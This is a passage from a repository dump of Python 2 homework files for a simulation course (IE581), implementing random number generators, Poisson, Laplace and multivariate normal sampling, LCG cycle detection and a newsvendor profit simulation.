seed, u = u16807d.u16807d(seed)\n k = 0\n cu = 1\n P = 0\n while P<u:\n P += np.e**(-lbmd)*lbmd**k/cu\n k += 1\n cu *= k\n return seed, k-1\n\ndef main():\n n = 100000\n seed = 1234\n lbmd = 2\n xarray = []\n for i in range(0, n):\n seed, x = poisgen(seed, lbmd)\n xarray.append(x)\n\n xcount = np.bincount(xarray)\n binarray = [0]*8\n cuarray = [0]*8\n\n\n for i in range(0, len(xcount)):\n if i<8:\n binarray[i] = xcount[i]\n else:\n binarray[7] += xcount[i]\n\n total = np.sum(binarray) *1.0\n\n binarray = binarray/total\n cuarray[0] = binarray[0]\n\n for i in range(1, 8):\n cuarray[i] = cuarray[i-1] + binarray[i]\n\n\n plt.plot(range(0, 8), binarray)\n plt.plot(range(0, 8), cuarray)\n plt.show()\n print cuarray\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4608501195907593, "alphanum_fraction": 0.5190156698226929, "avg_line_length": 21.350000381469727, "blob_id": "8293cada33e5e210f3af27d5b33ca36f7510f2f7", "content_id": "ddb86ee365c591881f26219102236eb2897ad830", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 447, "license_type": "no_license", "max_line_length": 64, "num_lines": 20, "path": "/hw2/prob_67/LaplaceGenerator.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import u16807d\nimport numpy as np\n\ndef sgn(x):\n if x>=0: return 1\n return -1\n\n\ndef LaplaceGenerator(lbda, iseed):\n \"\"\"\n input:\n lbda : lambda\n iseed : current seed\n output:\n x : random variate obey laplace distribution\n iseed : new seed\n \"\"\"\n iseed, u = u16807d.u16807d(iseed)\n x = -1.0/lbda*sgn(u-0.5)* np.log(1-2*np.abs(u-0.5))\n return x, iseed\n" }, { "alpha_fraction": 0.5416666865348816, "alphanum_fraction": 0.7916666865348816, "avg_line_length": 11, "blob_id": "0e5307a1c268780e80688ec589725c7df280bbfa", "content_id": "99672c9c1bc56303d59ef6493ae7f8da9a8b86a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 24, "license_type": "no_license", "max_line_length": 15, "num_lines": 2, "path": "/README.md", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "# IE581\nIE581 homeworks\n" }, { "alpha_fraction": 0.32015809416770935, "alphanum_fraction": 0.573122501373291, "avg_line_length": 20.08333396911621, "blob_id": "3674c33d3b458ae13554fe198af66919d70030ab", "content_id": "fa1ee378fc23aa1b4ea8a473972443fc3f490ca2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 253, "license_type": "no_license", "max_line_length": 40, "num_lines": 12, "path": "/hw3/prob_1/u16807d.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "def u16807d(iseed):\n \"\"\"\n input: iseed\n output: iseed, u16807d\n \"\"\"\n\n u16807dd = 0\n while (u16807dd<=0 or u16807dd>=1):\n iseed = (iseed*16807)%2147483647\n u16807dd = iseed/2147483648.0\n\n return iseed, u16807dd\n" }, { "alpha_fraction": 0.5201371312141418, "alphanum_fraction": 0.5492716431617737, "avg_line_length": 22.34000015258789, "blob_id": "60df3197f713549e3b2da785b2cbf3a205e07128", "content_id": "992e27bad2acdfe24660ae1b919374a844b88228", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1167, "license_type": "no_license", "max_line_length": 56, "num_lines": 50, "path": "/hw3/prob_2/s2.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import s1\nimport numpy as np\nfrom scipy.stats import norm, rankdata, expon\n\ndef rho():\n nparray = np.empty((2,2), dtype=float)\n for i in range(0, 2):\n for j in range(0, 2):\n if i != j:\n nparray[i][j] = 2*np.sin(np.pi*0.95/6)\n else:\n nparray[i][j] = 1\n\n\n return nparray\n\n\nif __name__ == '__main__':\n n = 10000\n seed = 1234\n rhoMatrix = rho()\n myArrayX = []\n myArrayY = []\n for i in range(0, n):\n MVN, seed = s1.MVNgen(2, rhoMatrix, seed)\n MVN = norm.cdf(MVN)\n myArrayX.append(MVN[0])\n myArrayY.append(MVN[1])\n\n myArrayX = expon.ppf(myArrayX)\n Xindex = rankdata(myArrayX)\n Yindex = rankdata(myArrayY)\n\n xmean = np.mean(myArrayX)\n ymean = np.mean(myArrayY)\n\n upper = 0\n for i in range(0, n):\n upper += (myArrayX[i]-xmean)*(myArrayY[i]-ymean)\n\n lowerleft = 0\n lowerright = 0\n for i in range(0, n):\n lowerleft += (myArrayX[i] - xmean)**2\n lowerright += (myArrayY[i] - ymean)**2\n lowerleft = np.sqrt(lowerleft)\n lowerright = np.sqrt(lowerright)\n\n rst = upper/(lowerleft * lowerright)\n print rst\n" }, { "alpha_fraction": 0.4778481125831604, "alphanum_fraction": 0.5042194128036499, "avg_line_length": 21.571428298950195, "blob_id": "6fc0f15310c55302db6c9b851e57781fa2f94a50", "content_id": "3620a6a97731d08d9686cabccc5c2251de27d710", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 948, "license_type": "no_license", "max_line_length": 66, "num_lines": 42, "path": "/hw2/prob_4/driver.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import s4b\nimport numpy as np\nimport matplotlib.pyplot as mpl\ndef main(x, iseed):\n n = 1000\n # iseed = 1234\n # x = 45\n rst = []\n for i in range(0, n):\n iseed, profit = s4b.newsvendorOneDay(iseed, x)\n rst.append(profit)\n\n rst = np.array(rst)\n mean = np.average(rst)\n\n sigma_hat = 0\n for i in range(0, n):\n sigma_hat += (rst[i]-mean)**2\n sigma_hat /= n\n sigma_hat = np.sqrt(sigma_hat)\n se = sigma_hat/np.sqrt(n)\n # print mean\n # print sigma_hat\n # print se\n return mean, sigma_hat, se, iseed\n\nif __name__ == '__main__':\n x = 0\n iseed = 98723\n xarray = []\n yarray = []\n while x<=60:\n xarray.append(x)\n # print \"x=\", x\n mean, sigma_hat, se, iseed = main(x, iseed)\n print x, \" & \", mean, \" & \", sigma_hat, \" & \", se, \" \\\\\\\\\"\n x += 5\n # print \"---\"\n\n yarray.append(mean)\n mpl.plot(xarray, yarray, \"-*\")\n mpl.show()\n" }, { "alpha_fraction": 0.4206257164478302, "alphanum_fraction": 0.4611819088459015, "avg_line_length": 19.547618865966797, "blob_id": "691044086b4f648de7416e91f79c7e3145f338ce", "content_id": "c46d61cd9c60dff6d62f7c9ec5809e7762d87d3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 863, "license_type": "no_license", "max_line_length": 49, "num_lines": 42, "path": "/hw2/prob_4/s4b.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import u16807d\nimport numpy as np\n\ndef poisgen(lmbd, target):\n \"\"\"\n input:\n lmbd,\n target - uniform(0,1)\n output:\n k - possion-k\n \"\"\"\n i, rst, q = 0.0, 0.0, 1.0\n temp = 1.0*np.exp(-lmbd)\n\n while rst < target:\n rst += temp\n i += 1\n temp = temp*lmbd/i\n\n return i-1\n\ndef newsvendorOneDay(iseed, x):\n \"\"\"\n input:\n iseed : uniform random seed\n x : daily purchased newspaper\n output:\n iseed : new value of iseed\n profit : profit on this day\n \"\"\"\n c, s, w = 15, 70, 3\n lmda = 35\n iseed, u = u16807d.u16807d(iseed)\n pois = poisgen(lmda, u)\n\n profit = 0\n if (x>pois):\n profit = (s-c)*pois - (c-w)*(x-pois)\n else:\n profit = (s-c)*x\n\n return iseed, profit\n" }, { "alpha_fraction": 0.5210843086242676, "alphanum_fraction": 0.5451807379722595, "avg_line_length": 22.714284896850586, "blob_id": "975875cbeb0cf1356dbbca8760c4ac4ca6e6842a", "content_id": "1caea75b3874ff83d6aec14d35ba098e9ff6dfd6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 664, "license_type": "no_license", "max_line_length": 70, "num_lines": 28, "path": "/hw3/prob_2/s1.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import numpy as np\nimport Beasley_Springer_Moro\n\ndef constructMatrix(d=3):\n nparray = np.empty((d,d), dtype=float)\n for i in range(0, d):\n for j in range(0, d):\n nparray[i][j] = 1 if (i == j) else 1.0/20\n return nparray\n\ndef MVNgen(d, Lambda, seed):\n C_tilt = np.linalg.cholesky(Lambda)\n z = [0]*d\n x = [0]*d\n for i in range(0, d):\n z[i], seed = Beasley_Springer_Moro.Beasley_Springer_Moro(seed)\n\n\n for i in range(0, d):\n x[i] = 0\n for j in range(0, i+1):\n x[i] += C_tilt[i][j]*z[j]\n\n return x, seed\n\nif __name__ == '__main__':\n Lambda = constructMatrix()\n print MVNgen(3, Lambda)\n" }, { "alpha_fraction": 0.44631579518318176, "alphanum_fraction": 0.538947343826294, "avg_line_length": 19.65217399597168, "blob_id": "438d72d3f9957ef31df06e95ff3ba350113b12b1", "content_id": "580a4c34e056986bd70d25d9da6108a20db706fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 475, "license_type": "no_license", "max_line_length": 42, "num_lines": 23, "path": "/hw3/prob_4/s4.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import numpy as np\nimport u16807d\n\ndef intensityFunction(t):\n return 3+4.0/(t+1)\n\ndef NHPP(num):\n rst = []\n LAMBDA = 7\n s = 0\n seed = 1234\n while num>0:\n seed, u1 = u16807d.u16807d(seed)\n lmbd = intensityFunction(s)\n s += -1/LAMBDA*np.log(u1)\n seed, u2 = u16807d.u16807d(seed)\n if u2*LAMBDA<intensityFunction(s):\n rst.append(s)\n num -= 1\n return rst\n\nif __name__ == '__main__':\n print NHPP(10)\n" }, { "alpha_fraction": 0.5191571116447449, "alphanum_fraction": 0.5517241358757019, "avg_line_length": 17, "blob_id": "9826fae38e751f6fab4076b4325de8b5669fd88a", "content_id": "af64fd37a890a63bc5ac8a18f301aaecee47c49b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 522, "license_type": "no_license", "max_line_length": 65, "num_lines": 29, "path": "/hw2/prob_67/check.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import numpy as np\nimport LaplaceGenerator\n\ndef up2s(x, s):\n if (x<=s and x>=0): return 1.0\n return 0.0\n\ndef calculate_x_bar_n(xarray, s):\n rst = 0\n for x in xarray:\n rst += up2s(x, s)\n rst /= len(xarray)\n return rst\n\n\ndef main():\n lbda, s, n = 2, 3, 100\n iseed = 404\n xarray = []\n for i in range(0, n):\n x, iseed = LaplaceGenerator.LaplaceGenerator(lbda, iseed)\n xarray.append(x)\n\n p = calculate_x_bar_n(xarray, s)\n print p\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.40017905831336975, "alphanum_fraction": 0.4619516432285309, "avg_line_length": 17.616666793823242, "blob_id": "d5e96c555db132e82a8113eb73b48e42398bee11", "content_id": "31a8662fd4023cf6fd112f14e55e1486d9834774", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1117, "license_type": "no_license", "max_line_length": 52, "num_lines": 60, "path": "/hw2/prob_1/driver.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import s1\nimport matplotlib.pyplot as plt\nimport numpy\n\ndef plot():\n N = 1000\n points = []\n xx = []\n yy = []\n z0 =1234\n for i in range(0, N):\n z0 = s1.midSquare(z0)\n x = z0/10000.0\n xx.append(x)\n z0 = s1.midSquare(z0)\n y = z0/10000.0\n yy.append(y)\n area = []\n\n for i in range(0, N):\n if [xx[i], yy[i]] in points:\n idx = points.index([xx[i], yy[i]])\n area[idx] += 5\n else:\n points.append([xx[i], yy[i]])\n area.append(5)\n\n colors = numpy.random.rand(N)\n plt.scatter(xx, yy, area, c=colors, alpha = 0.5)\n plt.show()\n\ndef check_loop():\n u = []\n z0 =1234\n flag = 1\n counter = 0\n while flag == 1:\n z0 = s1.midSquare(z0)\n if z0 in u:\n flag = 0\n u.append(z0)\n counter += 1\n print \"loop cycle: \", counter\n\n\ndef main():\n u = []\n n = 10\n z0 = 1234\n\n for i in range(0, n):\n z0 = s1.midSquare(z0)\n u.append(z0/10000.0)\n print \"first ten:\" , u\n\n\nif __name__ == \"__main__\":\n main()\n check_loop()\n plot()\n" }, { "alpha_fraction": 0.4920634925365448, "alphanum_fraction": 0.5714285969734192, "avg_line_length": 10.8125, "blob_id": "27666673cb2b91e8a7ddbe52f0892f7037248a88", "content_id": "4a008fb46332e5c9375d45a9d3669e17ea5839fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 189, "license_type": "no_license", "max_line_length": 24, "num_lines": 16, "path": "/hw2/prob_4/4a.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import numpy as np\n\ni = 0\nrst = 0\nlmbd = 35\nq = 1.0\ntemp = 1.0*np.exp(-lmbd)\ntarget = 55.0/67.0\n\nwhile rst<target:\n rst += temp\n i += 1\n temp = temp*lmbd/i\n print temp\n\nprint i\n" }, { "alpha_fraction": 0.3855024576187134, "alphanum_fraction": 0.42339372634887695, "avg_line_length": 16.852941513061523, "blob_id": "97838c940f4ba94d17dc9ae43054f97c312f819d", "content_id": "aa0cb219bd24daa9282c9b954e57eb006ac98986", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 607, "license_type": "no_license", "max_line_length": 32, "num_lines": 34, "path": "/hw2/prob_2/s2.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "def myLCG(m, a, c, z):\n \"\"\"\n general LCG generator\n input: m, a, c, z\n output: z\n \"\"\"\n return (a*z+c)%m\n\n\ndef find_loop(m, a, c, z):\n x = []\n flag = 1\n counter = 0\n while flag:\n # print z\n z = myLCG(m, a, c, z)\n if z in x:\n x.append(z)\n print x\n return counter\n else:\n counter += 1\n x.append(z)\n\n\ndef main():\n print find_loop(15, 5, 3, 7)\n print find_loop(15, 5, 3, 6)\n print find_loop(16, 5, 3, 7)\n print find_loop(16, 5, 3, 6)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.41874998807907104, "alphanum_fraction": 0.4937500059604645, "avg_line_length": 16.77777862548828, "blob_id": "63bb943d4aa8f16082e7dfba9d223726338e72c2", "content_id": "a5a94957a65799ede440c7e20dd2052ac2a264b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 160, "license_type": "no_license", "max_line_length": 24, "num_lines": 9, "path": "/hw2/prob_1/s1.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "def midSquare(zi_1):\n \"\"\"\n input: zi-1\n output: zi\n \"\"\"\n square = zi_1**2\n square = square//100\n square %= 10000\n return square\n" } ]
15
MagiShi/CrunchApp
https://github.com/MagiShi/CrunchApp
690881acb39bcf06b7e4df109ab48ddde6e72619
61212b57e71701404f29cf779a1d409534feb9e2
2c942e0d9835f70ce21e8af4939e8f4a6e5f40bb
refs/heads/master
2022-12-10T06:09:06.532930
2018-04-24T16:46:05
2018-04-24T16:46:05
88,272,743
0
0
null
2017-04-14T14:07:17
2018-04-24T16:46:15
2022-12-08T00:52:33
HTML
[ { "alpha_fraction": 0.8241205811500549, "alphanum_fraction": 0.8241205811500549, "avg_line_length": 21.22222137451172, "blob_id": "d15affefcfc31e24a521953b99f6a55b80506d67", "content_id": "a67ab4d01f4b27133daea79c490e6ce9c982f2d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 199, "license_type": "no_license", "max_line_length": 39, "num_lines": 9, "path": "/sql/drop_table_statements.sql", "repo_name": "MagiShi/CrunchApp", "src_encoding": "UTF-8", "text": "#Drop table statements\n#specified because of pk/fk constraints\n\nDROP table reservation;\nDROP table folder;\nDROP table itemInFolder;\nDROP table reservation;\nDROP table item;\nDROP table registereduser;" }, { "alpha_fraction": 0.4769230782985687, "alphanum_fraction": 0.692307710647583, "avg_line_length": 14.600000381469727, "blob_id": "1422c5389f3fda9c0a57e2293d271f722c559b32", "content_id": "d93cdceadd1ce894f3f7149c412c679b9579eeb9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 390, "license_type": "no_license", "max_line_length": 23, "num_lines": 25, "path": "/requirements.txt", "repo_name": "MagiShi/CrunchApp", "src_encoding": "UTF-8", "text": "blinker==1.4\ncertifi==2018.1.18\nchardet==3.0.4\nclick==6.7\nflake8==3.5.0\nFlask==0.12\nFlask-Mail==0.9.1\ngraphviz==0.8.2\ngunicorn==19.7.1\nidna==2.6\nitsdangerous==0.24\nJinja2==2.10\nMarkupSafe==1.0\nmccabe==0.6.1\npew==1.1.2\nPillow==5.0.0\npipenv==9.0.3\npsycopg2==2.7.3.2\npycodestyle==2.3.1\npyflakes==1.6.0\nrequests==2.18.4\nurllib3==1.22\nvirtualenv==15.1.0\nvirtualenv-clone==0.2.6\nWerkzeug==0.14.1\n" }, { "alpha_fraction": 0.5160887241363525, "alphanum_fraction": 0.5232740044593811, "avg_line_length": 28.63888931274414, "blob_id": "fee7704aa5d42f191defc7d345b11333d6a8d850", "content_id": "581f9a32ce8a21ccf8721847fcd01e9df7e4f63a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3201, "license_type": "no_license", "max_line_length": 163, "num_lines": 108, "path": "/static/homepage.js", "repo_name": "MagiShi/CrunchApp", "src_encoding": "UTF-8", "text": "var allFilters = document.getElementsByClassName(\"panel\");\nvar prop = \"(all prop types); \";\nvar costume = \"(all costume types); \";\nvar timePeriod = \"(all time periods); \";\nvar region = \"(all regions); \";\nvar sex = \"(all sexes); \";\nvar color = \"(all colors); \";\nvar size = \"(all sizes); \";\nvar condition = \"(all conditions); \";\nvar availability = \"(all availabilities); \";\n\n// Update the homepage's text representing the current filters\nfunction updateFiltersList() {\n // Loop through all the filters and check the checked checkboxess\n for (var i = 0; i < allFilters.length; i++) {\n updateFilterSelection(i);\n }\n // Update the homepage text\n document.getElementById(\"current-filters\").innerHTML = \"Filtering by: \" + prop + costume + timePeriod + region + sex + color + size + condition + availability;\n}\n\n// Update a specific filter section (e.g. color, size, condition) based on the currently selected checkboxes\nfunction updateFilterSection(i) {\n var resultingString = \"\";\n \n var currFilters = \"\";\n var currType = document.getElementById(allFilters[i].id).getElementsByTagName('input');\n \n var allFiltersString;\n switch (i) {\n case 0:\n allFiltersString = \"(all prop types)\";\n break;\n case 1:\n allFiltersString = \"(all costume types)\";\n break;\n case 2: \n allFiltersString = \"(all time periods)\";\n break;\n case 3:\n allFiltersString = \"(all regions)\";\n break;\n case 4:\n allFiltersString = \"(all sexes)\";\n break;\n case 5:\n allFiltersString = \"(all colors)\";\n break;\n case 6:\n allFiltersString = \"(all sizes)\";\n break;\n case 7:\n allFiltersString = \"(all conditions)\";\n break;\n case 8:\n allFiltersString = \"(all availabilities)\";\n break;\n }\n \n var count = 0;\n for (var j = 0; j < currType.length; j++) {\n if (currType[j].checked) {\n if (count == 0) {\n currFilters += currType[j].nextSibling.nodeValue.trim();\n } else {\n currFilters += \", \" + currType[j].nextSibling.nodeValue.trim();\n }\n count++;\n }\n }\n if (count != 0) {\n if (count == currType.length) {\n resultingString += allFiltersString + \"; \";\n } else {\n resultingString += currFilters + \"; \";\n }\n }\n \n switch (i) {\n case 0:\n prop = resultingString;\n break;\n case 1:\n costume = resultingString;\n break;\n case 2: \n timePeriod = resultingString;\n break;\n case 3:\n region = resultingString;\n break;\n case 4:\n sex = resultingString;\n break;\n case 5:\n color = resultingString;\n break;\n case 6:\n size = resultingString;\n break;\n case 7:\n condition = resultingString;\n break;\n case 8:\n availability = resultingString;\n break;\n }\n}\n" }, { "alpha_fraction": 0.7425022721290588, "alphanum_fraction": 0.7734019756317139, "avg_line_length": 60.092594146728516, "blob_id": "0b248651b0b62c7a7bbf07cf81ec7b616ba913e8", "content_id": "7da8f3415c8dede74c499735da40d25982f17bfd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 3301, "license_type": "no_license", "max_line_length": 716, "num_lines": 54, "path": "/sql/create table statements.sql", "repo_name": "MagiShi/CrunchApp", "src_encoding": "UTF-8", "text": "#Create table statements (current)\n\n#Registered User\nCreate Table registeredUser (email varchar(256) PRIMARY KEY NOT\nNULL, username varchar(256) NOT NULL, password varchar(256) NOT NULL, isAdmin Boolean NOT NULL DEFAULT FALSE );\n\n#item table with enum characteristics\nCreate Table item (itemId varchar(50) PRIMARY KEY NOT NULL, itemName varchar(50) NOT NULL UNIQUE, phfront BYTEA, phback BYTEA, phtop BYTEA, phbottom BYTEA, phleft BYTEA, phright BYTEA, pendingDelete Boolean NOT NULL DEFAULT FALSE, description varchar(256), sex sex, condition condition, time time[], culture culture[], color color[], size size, itemtype itemtype, itype itype, isAvailable Boolean DEFAULT TRUE, f1 Boolean NOT NULL DEFAULT FALSE, f2 Boolean NOT NULL DEFAULT FALSE, f3 Boolean NOT NULL DEFAULT FALSE, folder4 Boolean NOT NULL DEFAULT FALSE, folder5 Boolean NOT NULL DEFAULT FALSE, folder6 Boolean NOT NULL DEFAULT FALSE, folder7 Boolean NOT NULL DEFAULT FALSE, folder8 Boolean NOT NULL DEFAULT FALSE);\n\n-- #Folder\n-- Create Table folder(folderName varchar(256) PRIMARY KEY, pendingDelete Boolean NOT NULL DEFAULT FALSE);\n\n#Reservation (check enum list for reservationstatus ['past', 'current', 'future'])\n#NOTE: startdate and enddate are DATE only, no time. [Ex: 'Mar-01-2018']\nCreate Table reservation (email varchar(256) NOT NULL references registereduser(email), itemId varchar(256) NOT NULL references item(itemId), startDate DATE NOT NULL, endDate DATE NOT NULL, status reservationstatus NOT NULL, PRIMARY KEY(email, itemId, startDate) );\n\n# Should only have one row, this is used as a flag to decide whether\n# or not to recreate a view for reservation (curr, past, futre)\nCreate Table lastaccess (day DATE PRIMARY KEY);\n\n#List of production folders:\nCreate Table productionfolders(folderName varchar(256) NOT NULL UNIQUE, folderId folderId UNIQUE, pendingDelete Boolean NOT NULL, PRIMARY KEY(folderId));\n\n\n## Sprint 4\n-- #ItemInFolder\n-- Create Table iteminfolder(folderName varchar(256) references folder(folderName), itemId varchar(256) references item(itemId), PRIMARY KEY(folderName, itemId));\n\n\n## Sprint 1&2\n-- Create Table registeredUser (email varchar(256) PRIMARY KEY NOT\n-- NULL, username varchar(256) NOT NULL, password varchar(256) NOT NULL,\n-- isAdmin Boolean NOT NULL DEFAULT FALSE );\n\n-- # table for sprint 2\n-- -- Create Table item (itemId varchar(256) PRIMARY KEY NOT NULL, itemName\n-- -- varchar(256) NOT NULL, image BYTEA[5], pendingDelete Boolean NOT NULL DEFAULT FALSE, description varchar(256));\n\n-- #item table with add characteristics\n-- Create Table item (itemId varchar(256) PRIMARY KEY NOT NULL, itemName\n-- varchar(256) NOT NULL, image BYTEA[5], pendingDelete Boolean NOT NULL DEFAULT FALSE, description varchar(256));\n\n-- Create Table reservation ( email varchar(256) NOT NULL references\n-- registereduser(email), itemId varchar(256) NOT NULL references\n-- item(itemId), startDate TIMESTAMP NOT NULL, endDate TIMESTAMP NOT NULL,\n-- PRIMARY KEY(email, itemId) );\n\n-- Create Table folder (folderId varchar(256) PRIMARY KEY, folderName\n-- varchar(256), ownerEmail varchar(256) references\n-- registereduser(email));\n\n-- Create Table productInFolder(folderId varchar(256) references\n-- folder(folderId), itemId varchar(256) references item(itemId), PRIMARY\n-- KEY(folderId, itemId));\n\n\n" }, { "alpha_fraction": 0.6388888955116272, "alphanum_fraction": 0.6496415734291077, "avg_line_length": 61.05555725097656, "blob_id": "1f5451234df9677f93296b8eb336316ec0a77cc0", "content_id": "7c2b4349bccd891b45aab93c5f18083e31118212", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 1116, "license_type": "no_license", "max_line_length": 175, "num_lines": 18, "path": "/sql/enum_list.sql", "repo_name": "MagiShi/CrunchApp", "src_encoding": "UTF-8", "text": "##ENUMS for characteristics:\nCREATE TYPE SEX AS ENUM ('male', 'female', 'unisex');\nCREATE TYPE CONDITION AS ENUM('new', 'good', 'used', 'poor');\nCREATE TYPE TIME AS ENUM('ancient', 'classical', 'earlymodern', 'latemodern', '20th', '21st', 'future', 'other');\nCREATE TYPE CULTURE AS ENUM('namerica', 'samerica', 'asia', 'europe', 'africa', 'australia', 'fantasy', 'scifi', 'other');\nCREATE TYPE COLOR AS ENUM('red', 'orange', 'yellow', 'green', 'blue', 'purple', 'pink', 'brown', 'gray', 'white', 'black', 'other');\nCREATE TYPE SIZE AS ENUM('xxs', 'xs', 's', 'm', 'l', 'xl', 'xxl', 'other');\nCREATE TYPE ITEMTYPE AS ENUM('prop', 'costume');\nCREATE TYPE ITYPE AS ENUM('outerwear', 'tops', 'pants', 'skirt', 'dress', 'underwear', 'footwear', 'other', 'hand', 'personal', 'set', 'trims', 'setdressing', 'greens', 'fx');\n\n#ENUM for reservation status\nCREATE TYPE reservationstatus AS ENUM ('past', 'current', 'future');\n\n#ENUM for productionFolderId\nCREATE TYPE folderId AS ENUM('f1', 'f2', 'f3', 'f4', 'f5', 'f6', 'f7', 'f8');\n\n#EX: To see enums for size:\nselect enumlabel from pg_enum where enumtypid = 'size'::regtype;" }, { "alpha_fraction": 0.634103000164032, "alphanum_fraction": 0.6358792185783386, "avg_line_length": 27.200000762939453, "blob_id": "76d1f6d3deaa52ed69cddd1a2718ed7f8920be97", "content_id": "74ab3d52541b660c038c8e077a92aa30f6a4dadb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 563, "license_type": "no_license", "max_line_length": 62, "num_lines": 20, "path": "/static/main.js", "repo_name": "MagiShi/CrunchApp", "src_encoding": "UTF-8", "text": "// Do we need this file anymore?\n//\n//\n//var reference = firebase.database();\n//var itemNameField = document.getElementById('itemName');\n//var barcodeField = document.getElementById('barcode');\n//var descField = document.getElementById('shortDescription');\n//var number = 7;\n//\n//function saveAddItemData() {\n// var item = itemNameField.value;\n// var id = barcodeField.value;\n// var description = descField.value;\n//\n// reference.ref('items/' + item).update(\n// {name:item,\n// desc:description,\n// barcode:id}\n// );\n//}" }, { "alpha_fraction": 0.5979138612747192, "alphanum_fraction": 0.6049185991287231, "avg_line_length": 39.32831573486328, "blob_id": "2e958d4097543a88a1fc0989a17e6aac4c176477", "content_id": "2745530365684e95e7ea369b804e57f17cc35abe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 58960, "license_type": "no_license", "max_line_length": 524, "num_lines": 1462, "path": "/app.py", "repo_name": "MagiShi/CrunchApp", "src_encoding": "UTF-8", "text": "from flask import Flask, flash, redirect, render_template, request, session, abort, url_for, json, send_file\nfrom flask_mail import Mail, Message\nimport os\nfrom urllib.parse import urlparse\nimport psycopg2\n\n## only for local image rendering\n# from PIL import Image\n\nimport base64\nfrom io import BytesIO\n\n#file with helper functions\nimport functions\n\nimport json\n\n#for current date\nimport datetime\n\nimport ast\n\napp = Flask(__name__)\n\napp.secret_key = os.environ['SECRET_KEY']\n\n#configuring upload_folder variable\napp.config['UPLOAD_FOLDER'] = \"/tmp/\"\n\napp.config.update(\n # DEBUG=True,\n #EMAIL SETTINGS\n MAIL_SERVER='smtp.gmail.com',\n MAIL_PORT=465,\n MAIL_USE_SSL=True,\n MAIL_USERNAME = '[email protected]',\n MAIL_PASSWORD = os.environ['epassword']\n )\nmail = Mail(app)\n\n#configuring database url and path\nurl = urlparse(os.environ['DATABASE_URL'])\n\n\n\n\ndb = \"dbname=%s user=%s password=%s host=%s \" % (url.path[1:], url.username, url.password, url.hostname)\nschema = \"schema.sql\"\n#connecting a cursor for the database\nconn = psycopg2.connect(db)\ncursor = conn.cursor()\n\n#welcome page rendering\[email protected]('/')\ndef welcome():\n error = request.args.get('error')\n # print (repr(error))\n return render_template('login.html', error=error)\n\n#method after clicking on login button\[email protected]('/postlogin', methods=['POST'])\n#method for logging in, on home page.\ndef login():\n username = request.form['username']\n password = request.form['password']\n error = None\n\n query = \"SELECT email FROM registereduser WHERE username = '{0}' AND password = '{1}';\".format(username, password)\n # print (query)\n # errors = {\"error\": \"The username or password you have entered is incorrect.\"}\n try:\n cursor.execute(query)\n email_list = cursor.fetchone()\n\n # print (email_list)\n\n if email_list is None:\n ##Error message for wrong password/username\n error = 'The username or password you have entered is incorrect.'\n return redirect(url_for('welcome', error=error))\n else:\n ## Else set session value as the user email\n session['user'] = email_list[0]\n \n # this makes the session expire when the BROWSER is closed, not the tab/window\n session.SESSION_EXPIRE_AT_BROWSER_CLOSE = True\n # this sets the session expiration time, but you can't use it with the above\n # session.SESSION_COOKIE_AGE = 3600\n except: \n ##Any errors should be handled here\n query = \"rollback;\"\n cursor.execute(query)\n error = 'The username or password you have entered is incorrect.'\n return redirect(url_for('welcome', error=error))\n return redirect(url_for('loggedin'))\n\n#rendering home page after logging in\[email protected]('/home')\ndef loggedin():\n if functions.isLoggedIn(session.get('user')) is False:\n return redirect(url_for('welcome'))\n else:\n itemname = None\n image = None\n itemid = None\n itemidQuery = \"SELECT itemid FROM item;\"\n itemNameQuery = \"SELECT itemname FROM item;\"\n imageQuery = \"SELECT phfront FROM item;\"\n cursor.execute(itemidQuery)\n itemid = cursor.fetchall()\n cursor.execute(itemNameQuery)\n itemname = cursor.fetchall()\n cursor.execute(imageQuery)\n\n image = cursor.fetchall()\n imageList = [list(row) for row in image]\n # print(imageList[10][0])\n for idx, each in enumerate(imageList):\n img = imageList[idx]\n ph_front = img\n if ph_front[0] != None:\n imgData = 